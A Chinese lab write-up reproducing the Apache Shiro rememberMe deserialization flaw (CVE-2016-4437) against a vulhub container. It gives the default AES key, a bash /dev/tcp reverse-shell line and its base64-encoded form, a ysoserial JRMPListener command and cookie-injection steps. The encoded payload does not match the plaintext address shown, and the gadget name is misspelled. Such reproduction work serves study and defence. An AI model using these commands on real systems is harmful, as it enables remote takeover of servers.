1.漏洞原理
在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,然后base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,然后AES解密,最后反序列化。由于AES加密是对称加密算法,所以如果攻击者知道AES的密钥值,就可以构造恶意的rememberMe cookie值从而触发反序列化漏洞。Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe cookie值。
2.环境搭建
靶机:ubuntu 192.168.101.52
攻击机: kali 192.168.101.31
vps: window11 192.168.101.13
1. cd vulhub/shiro/CVE-2016-4437
2. docker-compose up -d
工具包:链接:https://pan.baidu.com/s/1HtN-d2h_WqhaRZwuhrkgow?pwd=amhm
提取码:amhm
只要响应包中出现rememberMe=delete字段就说明存在漏洞,这样说是不正确的,这只能说明登录页面采用了Shiro进行了身份验证。
具体验证可以参考这篇博客,但要也要成功得到密钥才能对漏洞进行利用
详细shiro漏洞复现及利用方法(CVE-2016-4437)_糊涂是福yyyy的博客-CSDN博客
漏洞利用
利用Shiro_exploit.py爆破密钥为kPH+bIxk5D2deZiIxcaaaA==,就可以进行下一步操作了
用nc开启监听
对反弹shell的bash命令进行base64编码
bash -i >& /dev/tcp/192.168.101.31/2233 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
用序列化攻具ysoserial监听5555端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollentions5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
使用shiro.py生成rememberMe
在burpsuite的Cookie中添加rememberMe字段
点击发送,成功获得shell
集成化工具使用
使用工具也太简单了。。